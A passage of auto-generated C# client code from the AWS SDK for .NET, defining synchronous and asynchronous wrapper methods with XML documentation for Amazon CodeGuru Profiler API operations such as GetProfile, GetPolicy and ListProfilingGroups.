options.RequestMarshaller = DescribeProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = DescribeProfilingGroupResponseUnmarshaller.Instance;
return Invoke<DescribeProfilingGroupResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the DescribeProfilingGroup operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the DescribeProfilingGroup operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndDescribeProfilingGroup
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/DescribeProfilingGroup">REST API Reference for DescribeProfilingGroup Operation</seealso>
public virtual IAsyncResult BeginDescribeProfilingGroup(DescribeProfilingGroupRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = DescribeProfilingGroupRequestMarshaller.Instance;
options.ResponseUnmarshaller = DescribeProfilingGroupResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the DescribeProfilingGroup operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginDescribeProfilingGroup.</param>
///
/// <returns>Returns a DescribeProfilingGroupResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/DescribeProfilingGroup">REST API Reference for DescribeProfilingGroup Operation</seealso>
public virtual DescribeProfilingGroupResponse EndDescribeProfilingGroup(IAsyncResult asyncResult)
{
return EndInvoke<DescribeProfilingGroupResponse>(asyncResult);
}
#endregion
#region GetFindingsReportAccountSummary
/// <summary>
/// Returns a list of <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_FindingsReportSummary.html">
/// <code>FindingsReportSummary</code> </a> objects that contain analysis results for
/// all profiling groups in your AWS account.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the GetFindingsReportAccountSummary service method.</param>
///
/// <returns>The response from the GetFindingsReportAccountSummary service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetFindingsReportAccountSummary">REST API Reference for GetFindingsReportAccountSummary Operation</seealso>
public virtual GetFindingsReportAccountSummaryResponse GetFindingsReportAccountSummary(GetFindingsReportAccountSummaryRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetFindingsReportAccountSummaryRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetFindingsReportAccountSummaryResponseUnmarshaller.Instance;
return Invoke<GetFindingsReportAccountSummaryResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the GetFindingsReportAccountSummary operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the GetFindingsReportAccountSummary operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndGetFindingsReportAccountSummary
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetFindingsReportAccountSummary">REST API Reference for GetFindingsReportAccountSummary Operation</seealso>
public virtual IAsyncResult BeginGetFindingsReportAccountSummary(GetFindingsReportAccountSummaryRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetFindingsReportAccountSummaryRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetFindingsReportAccountSummaryResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the GetFindingsReportAccountSummary operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginGetFindingsReportAccountSummary.</param>
///
/// <returns>Returns a GetFindingsReportAccountSummaryResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetFindingsReportAccountSummary">REST API Reference for GetFindingsReportAccountSummary Operation</seealso>
public virtual GetFindingsReportAccountSummaryResponse EndGetFindingsReportAccountSummary(IAsyncResult asyncResult)
{
return EndInvoke<GetFindingsReportAccountSummaryResponse>(asyncResult);
}
#endregion
#region GetNotificationConfiguration
/// <summary>
/// Get the current configuration for anomaly notifications for a profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the GetNotificationConfiguration service method.</param>
///
/// <returns>The response from the GetNotificationConfiguration service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetNotificationConfiguration">REST API Reference for GetNotificationConfiguration Operation</seealso>
public virtual GetNotificationConfigurationResponse GetNotificationConfiguration(GetNotificationConfigurationRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetNotificationConfigurationRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetNotificationConfigurationResponseUnmarshaller.Instance;
return Invoke<GetNotificationConfigurationResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the GetNotificationConfiguration operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the GetNotificationConfiguration operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndGetNotificationConfiguration
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetNotificationConfiguration">REST API Reference for GetNotificationConfiguration Operation</seealso>
public virtual IAsyncResult BeginGetNotificationConfiguration(GetNotificationConfigurationRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetNotificationConfigurationRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetNotificationConfigurationResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the GetNotificationConfiguration operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginGetNotificationConfiguration.</param>
///
/// <returns>Returns a GetNotificationConfigurationResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetNotificationConfiguration">REST API Reference for GetNotificationConfiguration Operation</seealso>
public virtual GetNotificationConfigurationResponse EndGetNotificationConfiguration(IAsyncResult asyncResult)
{
return EndInvoke<GetNotificationConfigurationResponse>(asyncResult);
}
#endregion
#region GetPolicy
/// <summary>
/// Returns the JSON-formatted resource-based policy on a profiling group.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the GetPolicy service method.</param>
///
/// <returns>The response from the GetPolicy service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetPolicy">REST API Reference for GetPolicy Operation</seealso>
public virtual GetPolicyResponse GetPolicy(GetPolicyRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetPolicyRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetPolicyResponseUnmarshaller.Instance;
return Invoke<GetPolicyResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the GetPolicy operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the GetPolicy operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndGetPolicy
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetPolicy">REST API Reference for GetPolicy Operation</seealso>
public virtual IAsyncResult BeginGetPolicy(GetPolicyRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetPolicyRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetPolicyResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the GetPolicy operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginGetPolicy.</param>
///
/// <returns>Returns a GetPolicyResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetPolicy">REST API Reference for GetPolicy Operation</seealso>
public virtual GetPolicyResponse EndGetPolicy(IAsyncResult asyncResult)
{
return EndInvoke<GetPolicyResponse>(asyncResult);
}
#endregion
#region GetProfile
/// <summary>
/// Gets the aggregated profile of a profiling group for a specified time range. Amazon
/// CodeGuru Profiler collects posted agent profiles for a profiling group into aggregated
/// profiles.
///
/// <pre><code> <note> <p> Because aggregated profiles expire over time <code>GetProfile</code>
/// is not idempotent. </p> </note> <p> Specify the time range for the
/// requested aggregated profile using 1 or 2 of the following parameters: <code>startTime</code>,
/// <code>endTime</code>, <code>period</code>. The maximum time
/// range allowed is 7 days. If you specify all 3 parameters, an exception is thrown.
/// If you specify only <code>period</code>, the latest aggregated profile
/// is returned. </p> <p> Aggregated profiles are available with aggregation
/// periods of 5 minutes, 1 hour, and 1 day, aligned to UTC. The aggregation period of
/// an aggregated profile determines how long it is retained. For more information, see
/// <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_AggregatedProfileTime.html">
/// <code>AggregatedProfileTime</code> </a>. The aggregated profile's
/// aggregation period determines how long it is retained by CodeGuru Profiler. </p>
/// <ul> <li> <p> If the aggregation period is 5 minutes, the aggregated
/// profile is retained for 15 days. </p> </li> <li> <p> If the
/// aggregation period is 1 hour, the aggregated profile is retained for 60 days. </p>
/// </li> <li> <p> If the aggregation period is 1 day, the aggregated
/// profile is retained for 3 years. </p> </li> </ul> <p>There
/// are two use cases for calling <code>GetProfile</code>.</p> <ol>
/// <li> <p> If you want to return an aggregated profile that already exists,
/// use <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_ListProfileTimes.html">
/// <code>ListProfileTimes</code> </a> to view the time ranges of existing
/// aggregated profiles. Use them in a <code>GetProfile</code> request to
/// return a specific, existing aggregated profile. </p> </li> <li>
/// <p> If you want to return an aggregated profile for a time range that doesn't
/// align with an existing aggregated profile, then CodeGuru Profiler makes a best effort
/// to combine existing aggregated profiles from the requested time range and return them
/// as one aggregated profile. </p> <p> If aggregated profiles do not exist
/// for the full time range requested, then aggregated profiles for a smaller time range
/// are returned. For example, if the requested time range is from 00:00 to 00:20, and
/// the existing aggregated profiles are from 00:15 and 00:25, then the aggregated profiles
/// from 00:15 to 00:20 are returned. </p> </li> </ol> </code></pre>
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the GetProfile service method.</param>
///
/// <returns>The response from the GetProfile service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetProfile">REST API Reference for GetProfile Operation</seealso>
public virtual GetProfileResponse GetProfile(GetProfileRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetProfileRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetProfileResponseUnmarshaller.Instance;
return Invoke<GetProfileResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the GetProfile operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the GetProfile operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndGetProfile
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetProfile">REST API Reference for GetProfile Operation</seealso>
public virtual IAsyncResult BeginGetProfile(GetProfileRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetProfileRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetProfileResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the GetProfile operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginGetProfile.</param>
///
/// <returns>Returns a GetProfileResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetProfile">REST API Reference for GetProfile Operation</seealso>
public virtual GetProfileResponse EndGetProfile(IAsyncResult asyncResult)
{
return EndInvoke<GetProfileResponse>(asyncResult);
}
#endregion
#region GetRecommendations
/// <summary>
/// Returns a list of <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_Recommendation.html">
/// <code>Recommendation</code> </a> objects that contain recommendations for a profiling
/// group for a given time period. A list of <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_Anomaly.html">
/// <code>Anomaly</code> </a> objects that contains details about anomalies detected in
/// the profiling group for the same time period is also returned.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the GetRecommendations service method.</param>
///
/// <returns>The response from the GetRecommendations service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetRecommendations">REST API Reference for GetRecommendations Operation</seealso>
public virtual GetRecommendationsResponse GetRecommendations(GetRecommendationsRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetRecommendationsRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetRecommendationsResponseUnmarshaller.Instance;
return Invoke<GetRecommendationsResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the GetRecommendations operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the GetRecommendations operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndGetRecommendations
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetRecommendations">REST API Reference for GetRecommendations Operation</seealso>
public virtual IAsyncResult BeginGetRecommendations(GetRecommendationsRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = GetRecommendationsRequestMarshaller.Instance;
options.ResponseUnmarshaller = GetRecommendationsResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the GetRecommendations operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginGetRecommendations.</param>
///
/// <returns>Returns a GetRecommendationsResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/GetRecommendations">REST API Reference for GetRecommendations Operation</seealso>
public virtual GetRecommendationsResponse EndGetRecommendations(IAsyncResult asyncResult)
{
return EndInvoke<GetRecommendationsResponse>(asyncResult);
}
#endregion
#region ListFindingsReports
/// <summary>
/// List the available reports for a given profiling group and time range.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the ListFindingsReports service method.</param>
///
/// <returns>The response from the ListFindingsReports service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListFindingsReports">REST API Reference for ListFindingsReports Operation</seealso>
public virtual ListFindingsReportsResponse ListFindingsReports(ListFindingsReportsRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListFindingsReportsRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListFindingsReportsResponseUnmarshaller.Instance;
return Invoke<ListFindingsReportsResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the ListFindingsReports operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the ListFindingsReports operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndListFindingsReports
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListFindingsReports">REST API Reference for ListFindingsReports Operation</seealso>
public virtual IAsyncResult BeginListFindingsReports(ListFindingsReportsRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListFindingsReportsRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListFindingsReportsResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the ListFindingsReports operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginListFindingsReports.</param>
///
/// <returns>Returns a ListFindingsReportsResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListFindingsReports">REST API Reference for ListFindingsReports Operation</seealso>
public virtual ListFindingsReportsResponse EndListFindingsReports(IAsyncResult asyncResult)
{
return EndInvoke<ListFindingsReportsResponse>(asyncResult);
}
#endregion
#region ListProfileTimes
/// <summary>
/// Lists the start times of the available aggregated profiles of a profiling group for
/// an aggregation period within the specified time range.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the ListProfileTimes service method.</param>
///
/// <returns>The response from the ListProfileTimes service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListProfileTimes">REST API Reference for ListProfileTimes Operation</seealso>
public virtual ListProfileTimesResponse ListProfileTimes(ListProfileTimesRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListProfileTimesRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListProfileTimesResponseUnmarshaller.Instance;
return Invoke<ListProfileTimesResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the ListProfileTimes operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the ListProfileTimes operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndListProfileTimes
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListProfileTimes">REST API Reference for ListProfileTimes Operation</seealso>
public virtual IAsyncResult BeginListProfileTimes(ListProfileTimesRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListProfileTimesRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListProfileTimesResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the ListProfileTimes operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginListProfileTimes.</param>
///
/// <returns>Returns a ListProfileTimesResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListProfileTimes">REST API Reference for ListProfileTimes Operation</seealso>
public virtual ListProfileTimesResponse EndListProfileTimes(IAsyncResult asyncResult)
{
return EndInvoke<ListProfileTimesResponse>(asyncResult);
}
#endregion
#region ListProfilingGroups
/// <summary>
/// Returns a list of profiling groups. The profiling groups are returned as <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_ProfilingGroupDescription.html">
/// <code>ProfilingGroupDescription</code> </a> objects.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the ListProfilingGroups service method.</param>
///
/// <returns>The response from the ListProfilingGroups service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListProfilingGroups">REST API Reference for ListProfilingGroups Operation</seealso>
public virtual ListProfilingGroupsResponse ListProfilingGroups(ListProfilingGroupsRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListProfilingGroupsRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListProfilingGroupsResponseUnmarshaller.Instance;
return Invoke<ListProfilingGroupsResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the ListProfilingGroups operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the ListProfilingGroups operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndListProfilingGroups
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListProfilingGroups">REST API Reference for ListProfilingGroups Operation</seealso>
public virtual IAsyncResult BeginListProfilingGroups(ListProfilingGroupsRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListProfilingGroupsRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListProfilingGroupsResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the ListProfilingGroups operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginListProfilingGroups.</param>
///
/// <returns>Returns a ListProfilingGroupsResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListProfilingGroups">REST API Reference for ListProfilingGroups Operation</seealso>
public virtual ListProfilingGroupsResponse EndListProfilingGroups(IAsyncResult asyncResult)
{
return EndInvoke<ListProfilingGroupsResponse>(asyncResult);
}
#endregion
#region ListTagsForResource
/// <summary>
/// Returns a list of the tags that are assigned to a specified resource.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the ListTagsForResource service method.</param>
///
/// <returns>The response from the ListTagsForResource service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListTagsForResource">REST API Reference for ListTagsForResource Operation</seealso>
public virtual ListTagsForResourceResponse ListTagsForResource(ListTagsForResourceRequest request)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListTagsForResourceRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListTagsForResourceResponseUnmarshaller.Instance;
return Invoke<ListTagsForResourceResponse>(request, options);
}
/// <summary>
/// Initiates the asynchronous execution of the ListTagsForResource operation.
/// </summary>
///
/// <param name="request">Container for the necessary parameters to execute the ListTagsForResource operation on AmazonCodeGuruProfilerClient.</param>
/// <param name="callback">An AsyncCallback delegate that is invoked when the operation completes.</param>
/// <param name="state">A user-defined state object that is passed to the callback procedure. Retrieve this object from within the callback
/// procedure using the AsyncState property.</param>
///
/// <returns>An IAsyncResult that can be used to poll or wait for results, or both; this value is also needed when invoking EndListTagsForResource
/// operation.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListTagsForResource">REST API Reference for ListTagsForResource Operation</seealso>
public virtual IAsyncResult BeginListTagsForResource(ListTagsForResourceRequest request, AsyncCallback callback, object state)
{
var options = new InvokeOptions();
options.RequestMarshaller = ListTagsForResourceRequestMarshaller.Instance;
options.ResponseUnmarshaller = ListTagsForResourceResponseUnmarshaller.Instance;
return BeginInvoke(request, options, callback, state);
}
/// <summary>
/// Finishes the asynchronous execution of the ListTagsForResource operation.
/// </summary>
///
/// <param name="asyncResult">The IAsyncResult returned by the call to BeginListTagsForResource.</param>
///
/// <returns>Returns a ListTagsForResourceResult from CodeGuruProfiler.</returns>
/// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codeguruprofiler-2019-07-18/ListTagsForResource">REST API Reference for ListTagsForResource Operation</seealso>
public virtual ListTagsForResourceResponse EndListTagsForResource(IAsyncResult asyncResult)
{
return EndInvoke<ListTagsForResourceResponse>(asyncResult);
}
#endregion
#region PostAgentProfile
/// <summary>
/// Submits profiling data to an aggregated profile of a profiling group. To get an aggregated
/// profile that is created with this profiling data, use <a href="https://docs.aws.amazon.com/codeguru/latest/profiler-api/API_GetProfile.html">
/// <code>GetProfile</code> </a>.
/// </summary>
/// <param name="request">Container for the necessary parameters to execute the PostAgentProfile service method.</param>
///
/// <returns>The response from the PostAgentProfile service method, as returned by CodeGuruProfiler.</returns>
/// <exception cref="Amazon.CodeGuruProfiler.Model.InternalServerException">
/// The server encountered an internal error and is unable to complete the request.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ResourceNotFoundException">
/// The resource specified in the request does not exist.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ThrottlingException">
/// The request was denied due to request throttling.
/// </exception>
/// <exception cref="Amazon.CodeGuruProfiler.Model.ValidationException">
/// The parameter is not valid.
/// </exception>
